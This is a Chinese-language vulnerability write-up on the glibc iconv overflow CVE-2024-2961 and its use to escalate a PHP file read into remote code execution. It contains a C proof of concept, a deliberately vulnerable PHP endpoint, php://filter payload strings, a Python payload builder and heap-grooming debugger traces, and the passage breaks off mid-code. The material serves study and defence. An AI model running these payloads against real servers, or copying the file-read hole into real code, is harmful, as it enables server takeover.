CVE-2024-2961漏洞分析

本周Linux GLIBC的库函数iconv缓冲区溢出漏洞(CVE-2024-2961)的细节/PoC[1]被公开,目前已知的利用方式是可以让PHP的任意文件读取漏洞升级的远程命令执行漏洞。本文将对公开的漏洞细节和PHP利用思路进行分析研究。

ICONV漏洞详情

CVE-2024-2961本质上是GLIBC中iconv库的漏洞,我认为该漏洞的发现巧合性很大,该漏洞的发现者是通过fuzz php发现该漏洞的,如果单纯的fuzz iconv库是没办法导致crash,就算是fuzz php,一般情况下就算触发了该漏洞也很难导致crash。

首先是漏洞点,位于glibc/iconvdata/iso-2022-cn-ext.c文件,相关代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8))\
{ \
const char *escseq; \
\
assert (used == CNS11643_2_set); /* XXX */ \
escseq = "*H"; \
*outptr++ = ESC; \
*outptr++ = '$'; \
*outptr++ = *escseq++; \
*outptr++ = *escseq++; \
\
ann = (ann & ~SS2_ann) | (used << 8); \
} \
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8))\
{ \
const char *escseq; \
\
assert ((used >> 5) >= 3 && (used >> 5) <= 7); \
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2; \
*outptr++ = ESC; \
*outptr++ = '$'; \
*outptr++ = *escseq++; \
*outptr++ = *escseq++; \
\
ann = (ann & ~SS3_ann) | (used << 8); \
}

在上面代码中的这两个分支,将会把输入转译4字节的输出,并且不会检查输出buf的长度。可能产生6种输出:

1
2
3
4
5
6
\x1b$*H        0x1b 0x24 0x2A 0x48
\x1b$+I 0x1b 0x24 0x2b 0x49
\x1b$+J 0x1b 0x24 0x2b 0x4a
\x1b$+K 0x1b 0x24 0x2b 0x4b
\x1b$+L 0x1b 0x24 0x2b 0x4c
\x1b$+M 0x1b 0x24 0x2b 0x4d

再来看看PoC,代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/*
CVE-2024-2961 POC
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
$
*/
#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

void hexdump(void *ptr, int buflen)
{
unsigned char *buf = (unsigned char *)ptr;
int i, j;
for (i = 0; i < buflen; i += 16)
{
printf("%06x: ", i);
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%02x ", buf[i + j]);
else
printf(" ");
printf(" ");
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
printf("\n");
}
}

void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

char input[0x10] = "AAAAA劄";
char output[0x10] = {0};

char *pinput = input;
char *poutput = output;

// Same size for input and output buffer
size_t sinput = strlen(input);
size_t soutput = sinput;

iconv(cd, &pinput, &sinput, &poutput, &soutput);

printf("Remaining bytes (should be > 0): %zd\n", soutput);

hexdump(output, 0x10);
}

编译上面的代码运行:

1
2
3
4
5
$ gcc poc.c -o poc
$ ./poc
./poc
Remaining bytes (should be > 0): -1
000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAAA.$*H.......

我们使用python来看看poc中的特殊字符:

1
2
3
BUG = "劄".encode()
print(BUG)
# b'\xe5\x8a\x84'

从上面的结果可以看出,这个特殊字符只占3字节,但是却会被转译为\x1b$*H四字节,产生了一字节的溢出,上面的poc似乎还是不太好展示出该漏洞的影响情况,我们可以简单的改改代码,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

char input[0x3] = "劄";
char output[0x3] = {0};
char overflow[0x5] = "AAAA";

char *pinput = input;
char *poutput = output;

// Same size for input and output buffer
size_t sinput = 3;
size_t soutput = 3;

size_t status = iconv(cd, &pinput, &sinput, &poutput, &soutput);

printf("Remaining bytes (should be > 0): %zd\nstatus = %d\n", soutput, status);

hexdump(output, 0x10);
printf("overflow = %s\n", overflow);
}
# 查看运行结果
$ gcc poc.c -o poc
$ ./poc
Remaining bytes (should be > 0): -1
status = -1
000000: 1b 24 2a 48 41 41 41 00 00 13 9e 1c e1 6c 44 86 .$*HAAA......lD.
overflow = HAAA

从上面的结果可以看出,我们成功的溢出了1字节到overflow变量中。

php任意文件读到RCE

在了解完ICONV漏洞原理之后,接下来再看看该漏洞的实际利用场景。目前已公开的漏洞利用场景只有一个,就是把php的任意文件读取漏洞转换为远程命令指令漏洞。

我们首先来看看以下PHP代码:

1
2
3
4
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>

CTF的web手应该都知道,我们可以构造PoC:php://filter/read=convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:text/plain;base64,xxxxxxx

这样我们就可以调用到iconv_open("ISO-2022-CN-EXT", "UTF-8");,接着控制iconv函数的输入buffer,达到触发iconv漏洞的目的。

环境搭建

首先我们需要搭建一个测试环境,Dockerfile如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
$ cat Dockerfile
FROM ubuntu:22.04

RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt update && apt install -y nginx php-fpm
# libc降级到有漏洞的版本
RUN apt install -y libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 libc6=2.35-0ubuntu3
COPY index.php /var/www/html/index.php
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /start.sh
RUN chmod +x /start.sh

CMD ["start.sh"]

$ cat index.php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>
$ cat nginx.conf
server {
listen 80 default_server;
listen [::]:80 default_server;


root /var/www/html;

index index.php;

server_name _;

location / {
try_files $uri $uri/ /index.php?$query_string;
}

location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}


}

$ cat start.sh
#!/bin/bash
/etc/init.d/php8.1-fpm start
nginx -g 'daemon off;'

环境搭建好以后,我们可以直接使用公开的PoC进行漏洞利用,能成功执行任意命令,该过程就不再赘述。

PoC分析

首先我们来看看公开的python PoC脚本[2],该PoC可以分为3个步骤。

  1. 首先,对目标是否能进行漏洞利用进行检测,该检测过程没法检测目标是否存在漏洞,只能检测目标是否存在进行漏洞利用的条件,有以下三个方面:
  • 检测目标的任意文件读是否支持:data:text/plain;base64,
  • 检测目标的任意文件读是否支持:php://filter//resource=data:text/plain;base64,
  • 检测目标的任意文件读是否支持:php://filter/zlib.inflate/resource=data:text/plain;base64,
  1. 通过/proc/self/maps获取目标的内存布局,获取目标libc文件。获取目标内存布局需要获取libc的基地址,php堆的基地址。libc的基地址很好获取,但是php堆的基地址就得猜测,没办法100%确定,php堆有以下条件:
  • 大小在0x200000之上,并且为该大小的倍数,所以还需要0x200000对齐。
  • 该内存段不属于任何二进制文件。
  • 该内存段的权限为:rw-p
  1. 构造Payload,发送Payload到目标进行漏洞利用。

漏洞利用分析

接下来分析该PoC中是如何构造Payload进行漏洞利用的。

调试环境搭建

我们先来搭建一个漏洞调试环境,步骤如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 安装apt-src
$ sudo apt install -y apt-src
$ sudo apt-src update
$ sudo apt-src install php8.1
# 使用apt-src获取php源码后,会把源码解压到当前目录
$ ls -alF
drwxr-xr-x 26 ubuntu ubuntu 4096 May 29 07:11 php8.1-8.1.2/
# 编译源码
$ cd php8.1-8.1.2/ && dpkg-buildpackage
# 保证libc存在漏洞
$ sudo apt install -y libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3
# gdb调试命令
$ gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php
$ cat .gdbinit
dir ./php8.1-8.1.2/
r poc.php
$ cat poc.php
$poc = "php://filter/read=......";
$data = file_get_contents($poc);
var_dump($data);

利用分析

简单分析一下PoC可以得知,该漏洞利用的思路在CTF中算是简单题,程序复杂度上比CTF的难。

如果把这道题看成CTF,那么就是一个在已知内存地址,libc的情况下进行堆的漏洞利用。并且php的堆分配并不是直接使用libc的malloc,而且封装了自己的堆函数。

所以我们需要关注php的堆管理,首先需要关注_zend_mm_heap结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
int use_custom_heap;
#endif
#if ZEND_MM_STORAGE
zend_mm_storage *storage;
#endif
#if ZEND_MM_STAT
size_t size; /* current memory usage */
size_t peak; /* peak memory usage */
#endif
zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMIT
size_t real_size; /* current size of allocated pages */
#endif
#if ZEND_MM_STAT
size_t real_peak; /* peak size of allocated pages */
#endif
#if ZEND_MM_LIMIT
size_t limit; /* memory limit */
int overflow; /* memory overflow flag */
#endif

zend_mm_huge_list *huge_list; /* list of huge allocated blocks */

zend_mm_chunk *main_chunk;
zend_mm_chunk *cached_chunks; /* list of unused chunks */
int chunks_count; /* number of allocated chunks */
int peak_chunks_count; /* peak number of allocated chunks for current request */
int cached_chunks_count; /* number of cached chunks */
double avg_chunks_count; /* average number of chunks allocated per request */
int last_chunks_delete_boundary; /* number of chunks after last deletion */
int last_chunks_delete_count; /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOM
union {
struct {
void *(*_malloc)(size_t);
void (*_free)(void*);
void *(*_realloc)(void*, size_t);
} std;
struct {
void *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void (*_free)(void* ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void *(*_realloc)(void*, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
} debug;
} custom_heap;
HashTable *tracked_allocs;
#endif
};

在该结构体中,我们需要关注free_slot,这个结构体可以等同于最古老的tcache,因为没有任何的检查,利用难度直线下降。

如果是在一个CTF题目中,我们可以用以下利用思路:

  1. 分配x个相同大小并且地址连续的堆,然后释放它们,那么它们会被放入tcache中形成链表。
  2. 我们获取第一个堆,并且通过漏洞溢出1字节,这样将会覆盖下一个堆的tcache链表指针。
  3. 因为溢出的一字节不可控,在此例中,为0x48,所以我们需要该地址的堆可以让我们任意地址写入。并且在之前控制该地址的值指向我们想要控制的任意地址,比如free_hook地址,这样我们之后分配的堆就能获取到free_hook地址的堆,达到控制free_hook的目的,从而RCE。

在构思完思路后,我们来具体模拟一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1. 有三个大小为0x100的连续的堆
0x40100, 0x40200, 0x40300
2. 控制0x40348地址的值为free_hook地址对齐后地址,或者其他想要任意写的任意地址。
3. 释放它们形成tcache链表
0x40100->0x40200->0x40300
4. 获取第一个堆:0x40100,这样tcache链表就变成了:
0x40200->0x40300
5. 触发漏洞,让0x40100的堆溢出一字节,这样tcache的链表就变成了:
0x40200->0x40348->free_hook
6. 再分配一个堆,tcache链表变成了:
0x40348->free_hook
7. 重复第6步,tcache链表变成了:
free_hook
8. 重复第6步,这次我们获取到的堆地址指向了free_hook,让我们可以把其覆盖为system地址
9. 调用free(buf), buf=/bin/sh,这样就能成功RCE

以上为CTF中的利用思路,但是CTF中PWN题目的程序复杂度比较低,考验的都是漏洞利用技巧,很少会考验逆向能力,所以可以很容易控制堆分配和堆释放。但是在实际利用中,程序的复杂度不是一个量级的。

在当前漏洞中,我们的测试环境中,php只会调用file_get_contents函数,我们也只能控制该函数的参数,我们并不能很明显的控制malloc/free函数,这就需要我们对file_get_contents函数进行逆向分析,看看在php源码中,我们如果控制file_get_contents函数调用堆分配/释放,并且获取我们需要大小的堆。

经过对公开的PoC进行调试,结合分析php的源码,我们可以得知以下几点:

  1. zlib.inflate的作用是进行zlib解压缩,将会调用php的php_zlib_inflate_filter函数,并且在php_zlib_filter_create函数中限制了能分配的最大堆尺寸为0x8000。
  2. dechunk的作用是处理HTTP CHUNKED,将会调用php的php_chunked_filter函数,我们可以通过该函数,buffer的size标志位缩减到任意值。没法控制堆的大小,只能控制有效长度的标志位。在file_get_contents函数的流程中,用户输入的buffer都是放在php_stream_bucket结构体中,该结构体的定义如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
struct _php_stream_bucket {
php_stream_bucket *next, *prev;
php_stream_bucket_brigade *brigade;

char *buf;
size_t buflen;
/* if non-zero, buf should be pefreed when the bucket is destroyed */
uint8_t own_buf;
uint8_t is_persistent;

/* destroy this struct when refcount falls to zero */
int refcount;
};

在该结构体中,buf指向一个堆缓冲区,比如指向一个大小为0x8000的堆,但是buflen表示的是数据的有效长度,比如可以是0x8000,那么该堆中的数据都是有效的,通过dechunk过滤器,我们可以缩减buflen的长度为任意值,比如缩减到0x100,那么堆还是0x8000的堆,但是只有前0x100字节的数据是有效数据。

  1. convert.quoted-printable-decode的作用是对=00格式的数据进行解码,变为\x00
  2. convert.iconv.x.x的作用调用iconv函数对数据进行编码转换。在PoC中使用两种:convert.iconv.UTF-8.ISO-2022-CN-EXTconvert.iconv.latin1.latin1

其中convert.iconv.UTF-8.ISO-2022-CN-EXT很明显是用来触发漏洞的。但是convert.iconv.latin1.latin1的作用需要仔细分析。

convert.iconv.x.x过滤器调用的是php_iconv_stream_filter_do_filter函数,进过分析发现,在该函数中输出的buffer会根据buflen对堆进行重新分配。比如输出的buffer是一个0x8000的堆,但是buflen=0x100,那么会根据该长度申请一个新的堆,作为iconv的输出,那么经过iconv编码转换,因为输入输出的编码一样,所以输出数据不变,只变化了堆的大小。

通过上面的分析可以发现,在PoC中dechunkconvert.iconv.latin1.latin1都是组合出现的原因,因为这样可以控制获取任意大小的堆。通过dechunkbuflen设置为0x8000以下的任意值,然后使用convert.iconv.latin1.latin1把堆修改为相应的size。除了可以分配任意size的堆,还可以把任意size的堆放入free_slot中。

PoC中利用的目标为修改_zend_mm_heap结构体中的custom_heap结构,作用和free_hook类似,因为在emalloc中有以下代码:

1
2
3
4
5
6
7
8
9
10
ZEND_API void* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
// 如果设置了custom堆,则调用该函数,跟free_hook的作用一样
#if ZEND_MM_CUSTOM
if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
#endif
return zend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}

custom_heap结构体中的_free设置为system,那么调用efree的时候就能执行system函数了。

漏洞调试

接下来通过调试的方式加学习在php的实际环境中如果构造利用链。

建议在以下位置下断点调试,能比较清晰的看出堆的变化情况:

1
2
3
4
5
6
7
8
9
10
11
12
 ► 0x5555557dfae5 <_php_stream_fill_read_buffer+309>    call   qword ptr [rax]               <php_zlib_inflate_filter>
rdi: 0x7ffff527d2a0 —▸ 0x555555a6dd40 (php_stream_rfc2397_ops) ◂— 0x0
rsi: 0x7ffff52a3000 —▸ 0x555555a0f760 (php_zlib_inflate_ops) —▸ 0x5555556cc740 (php_zlib_inflate_filter) ◂— endbr64
rdx: 0x7fffffffa7a0 —▸ 0x7ffff5262180 ◂— 0x0
......
In file: /home/ubuntu/CVE-2024-2961/php8.1-8.1.2/main/streams/streams.c:575
570 flags = stream->eof ? PSFS_FLAG_FLUSH_CLOSE : PSFS_FLAG_FLUSH_INC;
571 }
572
573 /* wind the handle... */
574 for (filter = stream->readfilters.head; filter; filter = filter->next) {
► 575 status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags);

我们可以直接把这个断点加入到gdbinit中:

1
2
3
4
$ cat .gdbinit
dir ./php8.1-8.1.2/
b *(_php_stream_fill_read_buffer+309)
r poc.php

由于我们使用gdb调试,而gdb默认会关闭地址随机化,所以我们可以在gdbinit中定义一个指令方便我们查看php的堆信息,还可以再添加一个指令,方便我们查看pbucket的情况,最终的gdbinit内容如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cat .gdbinit
define php_heap
p *(struct _zend_mm_heap *) 0x7ffff5200040
end
define pbucket
p *(php_stream_bucket *) $arg0
end
define pbucketall
pbucket $arg0
set $bucket = (php_stream_bucket*) $arg0
if $bucket->next != 0
pbucketall $bucket->next
end
end
dir ./php8.1-8.1.2/
b *(_php_stream_fill_read_buffer+309)
r poc.php

接下来还需要编写一个python脚本,方便我们控制生成payload,如下所示,有些函数直接参考了公开的PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
# -*- coding=utf-8 -*-

import zlib
import base64

def p64(data: int) -> bytes:
return int.to_bytes(data, 8, "little")

# 该函数对数据进行zlib压缩,让php的zlib.inflate进行解压缩
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]

# 对数据纪念下quoted printable编码,php解码使用的是convert.quoted-printable-decode
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()

# 最终填充到0x8000长度的数据
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)

# 进行HTTP CHUNKED编码,php使用dechunk
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"

# 做了点修改,把chunk函数删除了,因为payload的构造不一样,所以使用chunk函数会有不同
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
return bucket

def buildPayload() -> str:
payload = b""
pages = (
payload
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
"zlib.inflate",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

def main():
path = buildPayload()
phpCode = f"""<?php
$poc = "{path}";
$data = file_get_contents($poc);
var_dump($data);
?>"""
with open("poc.php", "w") as f:
f.write(phpCode)
print(path)

if __name__ == "__main__":
main()

以上就是我通过公开的PoC修改的一版调试用的python脚本,我们只需关注该脚本中的buildPayload函数就好了。调试命令也很简单:python3 poc.py && gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php

接下来我们看看怎么跟CTF的思路关联起来,在CTF中比较容易利用的原因是我们能很容易的控制堆分配和释放,所以现在我们来看看我们需要如何在php中控制堆的分配和释放。

跟公开的PoC一样,我们选择控制长度为0x100的堆(这个长度的堆比较好对齐)。

在此之前,我们还要知道在php堆的free_slot中,堆的尺寸是如何分布的,可以参见zend_alloc_sizes.h文件,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* num, size, count, pages */
#define ZEND_MM_BINS_INFO(_, x, y) \
_( 0, 8, 512, 1, x, y) \
_( 1, 16, 256, 1, x, y) \
_( 2, 24, 170, 1, x, y) \
_( 3, 32, 128, 1, x, y) \
_( 4, 40, 102, 1, x, y) \
_( 5, 48, 85, 1, x, y) \
_( 6, 56, 73, 1, x, y) \
_( 7, 64, 64, 1, x, y) \
_( 8, 80, 51, 1, x, y) \
_( 9, 96, 42, 1, x, y) \
_(10, 112, 36, 1, x, y) \
_(11, 128, 32, 1, x, y) \
_(12, 160, 25, 1, x, y) \
_(13, 192, 21, 1, x, y) \
_(14, 224, 18, 1, x, y) \
_(15, 256, 16, 1, x, y) \
_(16, 320, 64, 5, x, y) \
_(17, 384, 32, 3, x, y) \
_(18, 448, 9, 1, x, y) \
_(19, 512, 8, 1, x, y) \
_(20, 640, 32, 5, x, y) \
_(21, 768, 16, 3, x, y) \
_(22, 896, 9, 2, x, y) \
_(23, 1024, 8, 2, x, y) \
_(24, 1280, 16, 5, x, y) \
_(25, 1536, 8, 3, x, y) \
_(26, 1792, 16, 7, x, y) \
_(27, 2048, 8, 4, x, y) \
_(28, 2560, 8, 5, x, y) \
_(29, 3072, 4, 3, x, y)

所以我们要查看0x100大小的堆在free_slot中的情况,可以使用以下命令:

1
2
3
4
5
6
7
8
9
pwndbg> php_heap
$1 = {
use_custom_heap = 0,
storage = 0x0,
size = 493544,
peak = 493544,
free_slot = ......
pwndbg> p $1.free_slot[15]
$2 = (zend_mm_free_slot *) 0x7ffff5288100

获取一个0x100大小的堆

要让php分配一个0x100大小的堆,buildPayload函数的编写可以参见以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def buildPayload() -> str:
heapSize = 0x100

step1 = b"A" * heapSize
step1 = compressed_bucket(step1)

pages = (
step1
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 让php分配0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1"
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

通过调试查看堆分配情况,过程如下所示:

第一次断点断在php_zlib_inflate_filter函数,该函数将会对输入的数据进行zlib解压缩,gdb情况如下所示。

1
2
3
4
► 0x5555557dfae5 <_php_stream_fill_read_buffer+309>    call   qword ptr [rax]               <php_zlib_inflate_filter>
rdi: 0x7ffff527d2a0 —▸ 0x555555a6dd40 (php_stream_rfc2397_ops) ◂— 0x0
rsi: 0x7ffff5283000 —▸ 0x555555a0f760 (php_zlib_inflate_ops) —▸ 0x5555556cc740 (php_zlib_inflate_filter) ◂— endbr64
rdx: 0x7fffffffa7a0 —▸ 0x7ffff5262180 ◂— 0x0

第二次断点断在php_chunked_filter函数,并且查看输入的bucket结构,里面的内容为输入的0x8000长度的数据,gdb详情如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> c
► 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_chunked_filter>
rdi: 0x7ffff527d2a0 —▸ 0x555555a6dd40 (php_stream_rfc2397_ops) ◂— 0x0
rsi: 0x7ffff5283050 —▸ 0x555555a6db00 (chunked_filter_ops) —▸ 0x5555557bcdc0 (php_chunked_filter) ◂— endbr64
rdx: 0x7fffffffa7b0 —▸ 0x7ffff5262180 ◂— 0x0
pwndbg> pbucket 0x7ffff5262180
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7b0,
buf = 0x7ffff52a3000 '0' <repeats 200 times>...,
buflen = 32768,
own_buf = 1 '\001',
is_persistent = 0 '\000',
refcount = 1
}

第三次断点断在了php_iconv_stream_filter_do_filter函数,然后查看bucket内容,发现buf的堆地址没变,只有buflen被修改为了0x100,gdb详情如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> c
► 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_iconv_stream_filter_do_filter>
rdi: 0x7ffff527d2a0 —▸ 0x555555a6dd40 (php_stream_rfc2397_ops) ◂— 0x0
rsi: 0x7ffff52830a0 —▸ 0x7ffff493e430 (php_iconv_stream_filter_ops) —▸ 0x7ffff4937d60 (php_iconv_stream_filter_do_filter) ◂— endbr64
rdx: 0x7fffffffa7a0 —▸ 0x7ffff5262180 ◂— 0x0
pwndbg> pbucket 0x7ffff5262180
$2 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7a0,
buf = 0x7ffff52a3000 'A' <repeats 200 times>...,
buflen = 256,
own_buf = 1 '\001',
is_persistent = 0 '\000',
refcount = 1
}

最后一步不能再执行continue了,因为程序会运行结束,我们需要使用next指令观察执行完php_iconv_stream_filter_do_filter函数以后bucket的情况,gdb过程如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> ni
......
pwndbg> p *brig_outp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7b0,
buf = 0x7ffff5288100 'A' <repeats 200 times>...,
buflen = 256,
own_buf = 1 '\001',
is_persistent = 0 '\000',
refcount = 1
}
pwndbg> php_heap
$2 = {
......
pwndbg> p $2.free_slot[15]
$3 = (zend_mm_free_slot *) 0x7ffff5288200

从上面可以看出我们成功的申请到了一个0x100长度大小的堆。

释放一个长度为0x100大小的堆

buildPayload函数的编写可以参考以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def buildPayload() -> str:
heapSize = 0x100

step1 = b"A" * 0x10
step1 = chunked_chunk(step1, heapSize)
step1 = compressed_bucket(step1)

pages = (
step1
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 让php分配0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1",
# 释放0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1"
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

前面四步和上面一样,我们从第二个dechunk执行完开始,gdb过程如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> p *brig_inp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7a0,
buf = 0x7ffff5288100 'A' <repeats 16 times>, '0' <repeats 184 times>...,
buflen = 16,
own_buf = 1 '\001',
is_persistent = 0 '\000',
refcount = 1
}
p $2.free_slot[15]
$3 = (zend_mm_free_slot *) 0x7ffff5288200

第二个dechunk执行完以后,buf仍然是长度为0x100的堆,但是buflen被修改为了0x10。接着我们把程序停在执行完php_iconv_stream_filter_do_filter函数之后,再查看堆信息,gdb过程如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> p *brig_outp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7b0,
buf = 0x7ffff527e060 'A' <repeats 16 times>, "\200\340'\365\377\177",
buflen = 16,
own_buf = 1 '\001',
is_persistent = 0 '\000',
refcount = 1
}
pwndbg> p $2.free_slot[15]
$3 = (zend_mm_free_slot *) 0x7ffff5288100

从上面的结果可以看出,大小为0x100的堆(0x7ffff5288100)已经被释放并且被放入free_slot当中。

触发漏洞

完成了上面两步的调试过程,我们已经可以像做一道CTF的堆题一样,随意的控制mallocfree

现在我们来尝试按照上面分析CTF题的步骤来构造触发漏洞的利用链。

经过一番调试分析,我构造的利用链步骤如下:

  1. 最开始0x100大小的堆的free链表为:0x7ffff5288100->0x200->0x300->0x400->0x500...
  2. 申请三个堆后,free链表为:0x7ffff5288400->0x500->0x600...
  3. 把这三个堆释放后,free链表为:0x7ffff5288300->0x200->0x100->0x400...
  4. 再次申请两个堆,地址为 0x7ffff52883000x7ffff5288200
  5. 把这两个堆释放,这个时候free链表为:0x7ffff5288200->0x300->0x100->0x400...
  6. 触发漏洞,这个时候0x7ffff5288200会被用来存放iconv的结果,所以能溢出1字节覆盖到了0x7ffff5288300地址的第一字节,这个时候free链表变为了:0x7ffff5288300->0x148->...
  7. 由于触发漏洞时,iconv返回-1,所以0x7ffff5288200堆在溢出后会被释放,这个时候free链表为:0x7ffff5288200->0x300->0x148...

根据上面的步骤,来编写buildPayload函数,代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
def buildPayload() -> str:
'''
我们把一次处理dechunk + convert.iconv.的过程算一步
'''
heapSize = 0x100
BUG = "劄".encode("utf-8")

# 第一步申请0x100的堆,第二步释放
step1_malloc_step2_free = b"A" * 0x10
# 第三次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free)
# 第二次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
# 第一次dechunk,长度等于0x100
step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)

# 第二步申请0x100的堆,第三步释放
step2_malloc_step3_free = b"B" * 0x20
# 第三次dechunk,长度小于0x100
